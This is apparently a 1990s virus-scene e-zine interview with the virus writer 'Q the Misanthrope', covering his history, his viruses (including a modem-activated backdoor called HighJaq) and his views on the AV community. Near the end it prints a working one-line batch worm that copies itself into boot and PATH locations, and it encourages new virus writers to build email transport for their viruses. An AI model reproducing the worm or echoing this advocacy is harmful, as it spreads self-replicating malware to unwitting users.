'旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커' � *: Interview with "Q" the Misanthrope :* � � 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 � � ******* -= nUcLeii"/Vx United =- ******* � '읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸' 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 쿓ow did you first get started with computers and programming?� 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� A million years ago, OK, it was 26 years ago, I was taken to the University to learn BASIC programming. This program was available through our Junior High School once a week. The program was only available to "Gifted" individuals. I wrote a couple of game programs. The next year, the same group of kids that went to the University, rented a Teletype for the summer to be used at each kid's home on a rotating basis. I continued to program. In High School, we also had a Teletype to the same University. I stayed after school every day for the 4 years of High School, teaching myself. I have been into Electronics since I was about 5. So in High School, I built my own PC. It cost about $3000 (I earned every cent). It was a great PC. Processor Technologies S-100 mother board, Intel 8080, 60K of Godbout memory, IMSAI Front Panel, 2 Northstar 89k floppy drives, Northstar Math Processor Board. I had Electric Pencil, BASIC, DEBUG and CPM. I had to write 8080 assembly code to patch the I/O to the OS. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 쿥hat was your first experience with viruses?� 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 WORMS (replicating but not appending) were my first experience. This was in BASIC in Junior High, I wrote one. My first virus encounter was Sunday, then Stoned. These are real simple viruses and after Debugging them, I didn't learn much. I learned more from a pirated copy of HELPPC about the fundamental workings of the PC. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 쿥hy did you start coding viruses?� 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� I wanted my virus write-up in Patricia Hoffman's VSUM to be better than her Gingerbread description. So I wrote SNAFU. To this day, the bitch has never eval'd one of my viruses. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 쿥hat is your personal opinion about harmful payloads, and you ethical� 쿽pinions around viruses? � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� I don't like destructive payloads. Trash the data is bad. Make the hardware malfunction weirdly is good. Hey, I figured out how to bypass with software the Keyboard Key switch (if that isn't weird, I don't know what is). Ethics and viruses, I feel that I am a purist as far as virus writing (I have never set any of my creations free). I feel that some of the best research into the PC is by virus writers. Viruses are the purest form of shareware. I feel that virus writers write viruses to be able to share learning experiences with each other and the rest of the world be damned. They are just playing Chess with other virus writers and the AV community as a whole. The kids who actually release harmful viruses do it for different reasons (ask them). 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 쿏id you ever wind up with a job because of your experience with computers in� 쿲eneral? � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 Yes. I make very good money and do very little and have made myself non- replaceable in the job that I have. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 쿓ave you had any direct contact with the av? What's your ethical opinion� 쿪bout the av in general? � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 No contact. I like playing Chess with them. We have a symbiotic relationship. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 쿥hy have you always worked alone? What is your view on vx groups?� 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� In my previous interview with Cicatrix, I stated that I have never told anyone what I did because if you ask anyone in prison why they are there, they will tell you it was because they told someone. I always assume that most everything that I do is illegal, so the less people involved the better. VX groups are a great way to go if you are starting out, they are also good if they are at the same level as you. The best thing about VX groups is that they produce a mag for everyone to learn from. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 쿓ow many "known" viruses have you written, and which pieces are your favorite� 퀇ork? � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� The answer to life, the universe and everything is: 42. That is also the number of known virii I have made. My favorite one was HighJaq. HighJaq has a very unique payload, your PC can be High-Jacked to gain full control of it. It works with your Modem, if you call the PC's Modem 3 times in 3 minutes, the PC resets (even if you are running Windows 95) and then waits for the hacker to call again and is presented with a C:\> prompt. I got this idea from reading an AV article discussing the various forms of destruction that a virus can do. One side was the simple "Trash the data", then to the more advanced "Drop random bits slowly", to the "No way to ever know which data has been compromised" at the worst end of the destruction. I figured that if someone had full access to you PC with TAX records and Bank statements and maybe your journal, this would be the worst sort of compromise. HighJaq was created to fill this void in the world. Thanks go to the AV community for giving me this idea. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 쿥hen was the last time you wrote a virus? Considering your taking this� 쿶nterview, you must be somewhat active still.... � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� I wrote Nul-Space and HMA-Boot and You-Got-it for 29A-2 just recently. I also have been playing with some new techniques that might work for a virus. I am currently writing an article for 29A-3. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 쿥here do you think the technical aspects of virus code, the AV, and the� 쿯uture of viruses in general are headed? � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Mr. Bill just announced what Microsoft's Email would be like in the future. Can we say "Good-Times" is for real. What kind of butt-head would allow you to open an Email message and have it automatically launch a Visual Basic script. Mr. Bill is evil (this is not necessarily a bad thing) and is on our (the VX) side. Sun developed JAVA to make it incapable of spreading a virus. Mr. Bill developed Word with Macro's that make it easy to create viruses. The VX scene will find all the holes Mr. Bill has created and exploit them to the extreme. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 쿏o you feel like the hype over viruses with ever explode again like it did a� 쿯ew years ago? � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 The media hype may never be the same as it was about Michelangelo. The media got burned by Make-A-Fee (Fool me once, shame on you, fool me twice, shame on me). But all these Email Hoax's have certainly created more hype than Michelangelo ever did. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 쿑rom your point of view, how has the VX "scene" changed over time?� 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 It really hasn't. You always had new faces, they stayed around for about a year or two and then dropped off. New groups would start and old groups stop. BBS's and Web sites come and go. The VX "scene" has always been an evolving and changing thing. New techniques are developed by some but most just learn to code their first unimpressive virus and don't go farther from there. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 쿌ccording to the April 1998 Joe Wells wild list, it seems DA_Boys is still� 퀁unning free around Belgium, USA, Iceland, etc. Any comments? � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 See what happens when you give children loaded guns. Da'Boys is harmless, it disabled COM4. I am just surprised it is still around. I was pleased to see that Da'Boys caused a copyright infringement problem for the AV guys. Microsoft had the DOS Boot Sector copyrighted and the AV community had to get permission to rebuild it. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 쿓ave you ever coded or had any interest in macro viruses?� 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Almost, I wrote RAMBLE.WK1 that launched a virus from a 123 Macro. I have no real interest in Macro viruses. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 쿥hat inspires you to come up with some of the "unorthodox" code. You have� 쿮xpressed many new ideas over time. � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Ralf Brown's Interrupt list is the main source of inspiration. I also read all the VX/AV articles and try to glean any new ideas from them. I like to experiment with new ideas. I will play with a new idea and see if it has any merit and maybe incorporate it into a virus. Most of my ideas that never make it into a virus, they just exist as ASM files. I play with a new idea as often as possible. Today's new concept is a single line replicating REM Batch file. This should not work, but it does: @REM BAT.REM-WORM by Q the Misanthrope | %COMSPEC% NUL /F /CFOR %%Q IN (A:\ C:\ WINSTART.BAT %PATH% %WINBOOTDIR%\DOSSTART.BAT) DO COPY /B %0+%0.BAT %%Q 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 쿥ell, from an X-hackers point of view, what do you think about all this � 퀁ecent shit going on, i.e. the enforcers, mod, the pentagon hacks, the stolen� 쿭emo software, etc. etc.? � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� It seems to be there for the taking. As someone who has done hacking and gone to prison for it, I would say don't do it unless you are under age. If you do it, make it a Federal crime, the Federal facilities are much nicer. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 쿏o you have any favorite writers/groups? Who and why?� 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� David Gilmore, Roger Waters/Pink Floyd. I dig their music. Terry Gilliam, John Cleese, Michael Palan, Terry Jones, Eric Idle and Graham Chapman/Monty Python. I love the British sense of humor. Gene Rodenbery/Star Trek. Good Sci-Fi drama. This weeks cool virus writer: Soul Manager. The writer of the Red Team Email Virus. Cool idea and implementation. I have no favorite virus group. I love the zines each group puts out. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 쿓ave you ever considered making things like a polymorphic engines or creation� 쿸its? � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� What and be just like all the other kids on the block. No way. There are too many out there and past the first one they were no longer innovative. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 쿌nything else you want to say to VX coders young and old? The AV community?� 쿌ny other comments? � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� To the new VX coder: read "Ralf Browns Interrupt List" and all the tutorials you can. Try to get into "CodeBreakers" or a group for starters. To the old: keep on doing the "Voodoo you do so well". To the AV community: I've got nothing to say. Other comments: I think I am retiring. It has been fun. There is a lot of work that needs to be done it the Win95/98/NT environment. I don't have the resources or the time to play in that environment. When you develop viruses for Win95/98/NT, don't forget to create a good transport medium for your virus. Boot sector and Email seem to be the best for moving the virus from place to place (see Red Team Email Virus). Finally, if any of my viruses have helped you learn, you're welcome; if not, oh well.